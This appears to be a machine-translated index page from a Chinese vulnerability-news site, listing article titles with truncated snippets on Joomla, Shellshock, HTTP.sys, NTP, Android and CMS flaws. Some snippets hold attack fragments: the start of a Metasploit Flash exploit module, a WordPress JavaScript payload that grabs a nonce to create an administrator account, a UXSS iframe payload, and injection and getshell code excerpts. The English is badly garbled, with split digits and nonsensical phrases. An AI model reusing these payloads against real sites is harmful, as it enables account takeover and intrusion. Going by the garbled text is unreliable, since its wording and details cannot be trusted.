Joomla high-risk vulnerability scanning event analysis-vulnerability warning-the black bar safety net

Summary 1 2 on 1 4 May, the Joomla official website emergency issued a due to the security vulnerability to cause a version update 3.4.6, according to security company sucuri released information, this scan time is to use the Joomla deserialization characteristics of the problem causes the...

This year“white hat”are dug up? Breakdown 2 0 1 5 in those affected world of vulnerabilities-vulnerability warning-the black bar safety net

About the past 2 0 1 5 years network security on thin ice year: the countless fatal vulnerability is discovered, be repaired or be caring people use...fortunately, in the global white hat hacker's efforts, many fatal vulnerabilities are to catch the bad guys discover before it has been...

Lenovo, Dell and Toshiba computers exposure to serious OEM vulnerability-vulnerability warning-the black bar safety net

! Recently, the Association of the device and can be easily hijacked, while Dell and Toshiba PC and also because of the serious vulnerabilities and suffer. Security researcher slipstream/RoL online publishing of the vulnerability and demonstrates how the intrusion of the market on the machine...

Three years ago the libupnp library vulnerabilities, Tencent QQ music finally fix it-vulnerability warning-the black bar safety net

Since 3 years ago of a vulnerability, today there is still 6 1 0 million units of the device may be remote code execution, including smartphones, routers, Smart TV, etc., and this vulnerability as early as 3 years ago has been fixed. The vulnerability exists in the UPnP™device is a portable SDK,...

Honeywell Midas gas detector is exposed to serious vulnerabilities, and then to industrial safety Alarm bell-vulnerability warning-the black bar safety net

! Well-known high-tech manufacturing company Honeywell recently released a firmware update package to fix Midas gas detector of two high-risk vulnerabilities. This is a turnover of 3 0 0 the multi-billion-dollar diversified technology and manufacturing company in the world has its business...

Cyrus IMAP index_urlfetch integer overflow vulnerability(CVE-2 0 1 5-8 0 7 8)-vulnerability warning-the black bar safety net

CVECAN ID: CVE-2 0 1 5-8 0 7 8 Cyrus IMAP server Carnegie Mellon University developed the e-mail server. Cyrus IMAP 2.3.19, 2.4.18, and 2.5.6 version, imap/index. c in function indexurlfetch there is an integer overflow vulnerability, a remote attacker via urlfetch range check and sectionoffset...

dpkg stack buffer overflow vulnerability(CVE-2 0 1 5-0 8 6 0)-vulnerability warning-the black bar safety net

CVECAN ID: CVE-2 0 1 5-0 8 6 0 dpkg is“Debian” specially developed Suite of management system, easy software installation, updates and removal. dpkg of dpkg-deb component the presence of stack buffer overflow vulnerability, if a user or automated system processing structure of the old format of a...

Jenkins CommonCollections vulnerability perfect to use the tool-vulnerability warning-the black bar safety net

This week is the fire of a vulnerability through this vulnerability can execute arbitrary java code, The impact of Jenkins, WebSphere, WebLogic, etc. a series of popular services. However, foreigners write ysoserial code has bug, can not properly execute the command, readily get rid of. ! Having...

muymacho---dyld_root_path exploit analysis-exploit warning-the black bar safety net

muymacho is an exploit tool. Exists in Mac OS X 10.10.5 in dyld bug can be used to extract right to the root. In the latest chief stone of EI Capitan 10.11 in has been patched. This is an interesting bug, the use of the process is also a lot of fun. The present article aims to introduce the use o...

iBackDoor: the suspected back door, the impact of the iOS app a high risk of code-bug warning-the black bar safety net

! Recently, FireEye Mobile Security researchers discovered embedded into the iOS app in the suspected“back door”behavior mobiSage advertising in the library, and these applications are from the App Store. The researchers will be the potential of the back door called iBackDoor, allowing hackers...

Baidu Department of Applied WormHole vulnerability details analysis-vulnerability warning-the black bar safety net

Baidu moplus SDK is called a wormhole（Wormhole of vulnerability was reported after the“a ripple”, it is implanted into 1 4 0 0 0 app, these apps have close to 4 0 0 0 A are by Baidu produced. The vulnerability is a vulnerability reporting platform black bar safety net vulnerability bulletins foun...

“Broken days”: the Xen virtualization platform virtual machine escape vulnerability analysis-vulnerability warning-the black bar safety net

Xen is the leading open source virtualization platform, supporting the Amazon cloud, Ali cloud, etc. many well-known public cloud service infrastructure, therefore, ensure that the virtualization infrastructure security has important significance. Ali cloud security vulnerability research team...

New for universal E-learning Management System SQL injection vulnerability-vulnerability warning-the black bar safety net

New for software E-learning Management System,using the enterprise pretty much Website parts list: Business: http://www.newv.com.cn/caseenterprise.html Education: http://www.newv.com.cn/casecollege.html Government: http://www.newv.com.cn/casegovernment.html The problem mainly shows in:...

APT organization PawnStorm take advantage of the latest Flash zero-day attack States, the Ministry of Foreign Affairs-vulnerability warning-the black bar safety net

Recently, Trend Micro researchers discovered a new Flash vulnerability being PawnStorm cyber espionage operations use around the world the Ministry of Foreign Affairs to expand the attack. The Ministry of Foreign Affairs to attack the target PawnStorm is one of both depth and breadth of persisten...

McAfee founder: the Surface Pro 4 will have a 1 0 0 security vulnerabilities-vulnerability warning-the black bar safety net

Microsoft's next generation Surface Pro 4 fusion their Windows 1 0 OS, Intel Skylake six-generation Core Processor, the overall performance is still very good, of course, also added a variety of hardware and software security features, however, McAfee's founder John McAfee may not be so confident...

Shopify trade platform facing RFD attacks, and not fix-bug warning-the black bar safety net

WebSegura researcher David Sopas found a reflection type file name download RFD）vulnerability, the vulnerability exists in the popular multi-channel trade platform Shopify, although he has to Shopify company sent a safety report, but it seems that the company did not find the vulnerability of the...

Heart drop of blood away? 2 0 million equipment is still under threat-vulnerability warning-the black bar safety net

Heart drop of blood is already a thing of the past? NO! A lapse of more than a year after the infamous the heart of the blood security vulnerabilities and not completely disappeared, still the 2 0 million of network devices present a security threat. According to Shodan, the search results displa...

Pangu disclosure iOS8. 4. 1 kernel exploit Apple to iOS9 in the repair section-Vulnerability warning-the black bar safety net

Yesterday, China's first successful jailbreak the iOS team Pangu team discloses 3 present in the iOS 8.4.1 kernel extension at the vulnerabilities: a stack overflow Bug, an out of bounds memory access Bug, a stack overflow Bug. One of the“perfect”could be compromised all the kernel protection and...

mitmproxy kit using the Raiders and customization-bug warning-the black bar safety net

mitmproxy is a support for HTTPSMiTM proxy tool. Different from Fiddler2, and burpsuite, etc. similar function tools, mitmproxy can be in the terminal under the run. mitmproxy in Python development, is to assist the web development&testing, debugging, penetration testing tool. The working princip...

Smart home vulnerabilities is how to be hackers-use-vulnerability warning-the black bar safety net

! Smart Home is today's favourites, however in people only focus on the home of intelligent and humane, hackers are will look to put in a smart home, everything can be exploitable. From the application vulnerability Data show that in a variety of home automation equipment and the help of sensors,...

iPhone vulnerability an SMS makes the phone crash-vulnerability warning-the black bar safety net

iPhone latest vulnerability need only a string of character text message can let the recipient of the phone crash. It is reported that received the SMS on the phone Messages application will crash, eventually cause the phone to reboot. It is reported that the vulnerability exists in most of the i...

IIS the new UNICODE vulnerability WideChar and MultiByte character conversion issues-vulnerability warning-the black bar safety net

0 2 year summary has not been published a little windows features! These characteristics of is my summary of the security model of“vulnerability”, as long as we go in search of such an environment or wait for such an environment. The following characteristics for early IIS has not found the...

The researchers published GAE Google App Engine sandbox escape and remote code execution vulnerability POC-vulnerability warning-the black bar safety net

Last 1 2 months, security researchers at Google App Engine Google App Engine's Java environment found a large number of high-risk vulnerabilities that an attacker can exploit these vulnerabilities to bypass Google's security sandbox protection. And recently the researchers announced these...

VMS users please note:Venom vulnerability than Heartbleed also risk-vulnerability warning-the black bar safety net

Data centers are mostly using the host system management program host hypervisior to isolate a single server to run multiple virtual machine instances, but this is the underlying structure, it is found that the presence of the 1 0 years of“virtual environments neglected of business operation”in t...

zookeeper vulnerability analysis-vulnerability warning-the black bar safety net

! /Article/UploadPic/2015-5/2015512104512959.jpg For those unaware the ZooKeeper of the people, it is a famous open source project, it supports the distributed coordination reliability is very high. It is the world many of the security companies of the trust, including PagerDuty to. It is in the...

novnc session hijacking vulnerability-vulnerability warning-the black bar safety net

Affected system: github noVNC 0.5 Description: -------------------------------------------------------------------------------- CVECAN ID: CVE-2 0 1 3-7 4 3 6 noVNC is a HTML5 Canvas and WebSockets implemented a browser-based VNC client. noVNC 0.5 before the version without the https session...

Security notice: Django framework arbitrary file include vulnerability-vulnerability warning-the black bar safety net

In the 4 on 2 1 May, based on the python open source web framework Django released a security Bulletin, saying that in≤1.5 version of Django contrib. markup the package there is any file that contains the vulnerability, the attacker may be by docutils to attack. On docutils The Docutils project i...

HTTP.sys a remote code execution vulnerability, CVE-2 0 1 5-1 6 3 5-the vulnerability warning-the black bar safety net

In Microsoft 4 on 1 4, patch released the patch, there is one for the IIS server remote code execution vulnerability hazard is very large, please the majority of users attention. Vulnerability information A remote code execution vulnerability exists in the HTTP Protocol stack HTTP.sys, when the...

Tipask question Answering System 1 2 injection package-vulnerability warning-the black bar safety net

Participate in a period of public test of the time, manufacturers use this system, download down looked, found injected into a large heap. Since the program after the end of the sql statement in many places without using the single quotes the parameter is enclosed, so the user input of the check...

Adobe Flash Player ByteArray UncompressViaZlibVariant Use-After-Free-vulnerability warning-the black bar safety net

require 'msf/core' class Metasploit3 Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initializeinfo= superupdateinfoinfo, 'Name' = 'Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free', 'Description...

By wave cms x2. 1 x2. 0 version there is a file upload vulnerability in official website of the demo test is successful(reference poc)-vulnerability warning-the black bar safety net

Brief description: By the waves of the latest version there is a file upload vulnerability See x2. 0 the presence of the same vulnerability x2. 0 the following did not see do not know whether the presence of the same upload vulnerability Detailed description: Vulnerability page code area...

IP. Board CMS malicious redirect analysis-vulnerability warning-the black bar safety net

IP. Board CMS is a famous CMS system, which allows users to easily create and manage online communities. And recently Sucuri researcher recently found a for the IP. Board of redirection. After analysis, researchers found that this attack has lasted 2 years. ! Visitors is a malicious redirect The...

Many well-known hotel chains, high-end brand hotels there are serious security vulnerabilities, massive open room information stored in the disclosure risk-vulnerability warning-the black bar safety net

Well-known Inn orange, Jinjiang Inn, the super eight, pudding; high-end hotel the MARRIOTT Hotel Group, MARRIOTT, Ritz Carlton, Starwood group, Sheraton, Le Meridien, W Hotels, Intercontinental Hotel Group, Holiday Inn, etc there is a serious security breach, the tenant Open House information at ...

How to detect NTP amplification attack vulnerability-vulnerability warning-the black bar safety net

NTP vulnerabilities related articles in the Drops there have been, and more than one article, the reason for yet another translation of this article, but the article's overall idea is very good, hope to see this article help you. BTW: this translation is more casual, but did not destroy the...

Excavations and the use of ntpd vulnerability-vulnerability warning-the black bar safety net

0x01 description A few months ago, I decided to start doing fuzzing it. I chose the Network Time Protocol the Network Time Protocol, NTP is the reference implementation of ntpd as my first target, because I have NTP some of the background knowledge, while this Protocol seems very simple, can be...

APK signature verification bypass-vulnerability warning-the black bar safety net

0x01 Android signature mechanism The APK rename it to zip file, then you can see there's a META-INF folder, inside there are three files, called MANIFEST. MF, CERT. SF and CERT. RSA, which is to use signapk. jar to generate the signature file. 1, the MANIFEST. MF file: The program loops through t...

wordpress 3.0-3.92 adding administrator Payload-vulnerability warning-the black bar safety net

var a = location. href. split'/'; var xurl = location. href. replaceaa. length-1,"user-new.php"; jQuery. ajax url: xurl, type: 'GET', dataType: 'html', data: , . donefunctiondata var temp = jQuerydata; var Xtoken = ""; temp. find'inputwpnoncecreate-user'. eachfunctioni,o var o=jQueryo; Xtoken=o...

The most"secure”phone coolpad S6 a days even the explosion of the five vulnerability-vulnerability warning-the black bar safety net

Coolpad has recently been in investing in the advocacy of“safe mobile phone”, it's the coolpad S6 is billed as China's first officially certified“safe mobile phone”, but this argument does not seem too be white hat recognition. This phone recently in the black bar vulnerability on the platform wa...

Free open source photo album Piwigo <= v2. 6. 0 SQL injection vulnerability 0day-a vulnerability warning-the black bar safety net

Piwigo is the world's most famous free open source photo album system by PHP+MySQL architecture. Since the framework build easy, by domestic and foreign developers favor recently, Piwigo = v2. 6. 0 burst critical 0day vulnerability. Vulnerability causes,Piwigo photo album system/piwigo/picture. p...

The N-point database Direct Download-vulnerability warning-the black bar safety net

hostdate%23host%2 0% 2 3%20date%2 3 1 9 6. mdb...

A simple little program vulnerability analysis and exploit-vulnerability warning-the black bar safety net

Body Description: readfile. exe is the vulnerability of the program, it reads the c:\overflow. txt file, and the contents of the file in the dialog form pop up. Analysis process: First step: In overflow. txt text input 1 2 3 4 Using readfile. exe opened, program executed properly. In the text inp...

Cicada-known Enterprise Portal system v2. 5 sql injection to admin-vulnerability warning-the black bar safety net

The problem is when the user modifies the information of the place /system/module/user/control.php public function edit$account = " if!$ account or RUNMODE == 'front' $account = $this-app-user-account; if$this-app-user-account == 'guest' $this-locateinlink'login'; if! empty$POST...

Bash vulnerability again evolution: a buffer overflow resulting in remote arbitrary command execution-vulnerability warning-the black bar safety net

In recent days, the“Shellshock”Bash vulnerability appeared it is to the security industry Put a heavy bomb, more and more manufacturers and black and white hats have added to the analysis of the camp which, at the same time also one after another burst more for the Bash vulnerability, the apparen...

Broken shell vulnerability patches to bypass analysis-vulnerability warning-the black bar safety net

During the day busy with vulnerability response, Server, test and fix, the vulnerability affects the scope of Statistics and other things, until the night finally have time to analyze. Official first patch main changes: 1, The parameter types and the number of constraints, from the annotations ca...

Sogou browser 5. 0. 9. 13085HTTP204 fake website vulnerability-vulnerability warning-the black bar safety net

Brief description: Sogou browser 5. 0. 9. 13085HTTP204 fake website vulnerability Detailed description: ! Vulnerability proof: a the function d var k = window. open"java script:document. write4", "xx"; 1 2 next...

Adobe released PDF Acrobat and Reader security update-vulnerability warning-the black bar safety net

In a delay of one week later, Adobe finally released a vulnerability security update, this security update is mainly to fix the Acrobat and Reader PDF a critical vulnerability. AdobereleasedPDF AcrobatandReadersecurity update Adobe finally released PDF software critical security updates for Reade...

Android built-in browser cross-domain vulnerabilities UXSS-a vulnerability warning-the black bar safety net

Related links: http://www.rafayhackingarticles.net/2014/08/android-browser-same-origin-policy.html Test Link: http://x7s.pw/001.html iframe name="m" src="http://www.myhack58.com/" onload="window. open'\u0000javascript:alertdocument. location','m'" Genesis: because the Android built-in browser to...

Trend Micro found the PayPal Android vulnerability-vulnerability warning-the black bar safety net

Recently, Trend Micro discovered the PayPal Android app has two vulnerabilities that may be attacker to conduct phishing（Phishing attacks to steal Alipay authentication information. The first vulnerability: an output component Activity Android app has several important components, one of which is...

Days thaw letter is not timely help users install the latest security patches-bug warning-the black bar safety net

Currently found in Hua shield firewall basically didn't patch a lot of days thaw letter of vpn and firewall-no patch. Through the abroad for an engine to view-day financial device 1. 2w Station, no desire to write tools to batch validate. The following content is excerpted from days financial...

PHPYUN cloud talent system background CSRF Getshell-a vulnerability warning-the black bar safety net

phpyun background no authentication token, by the CSRF directly getshell First, from the background getshell start. The web site's configuration file,/plus/config.php using double quotes to do the key value, which leads to security issues. We can put php code to write into the double quotes insid...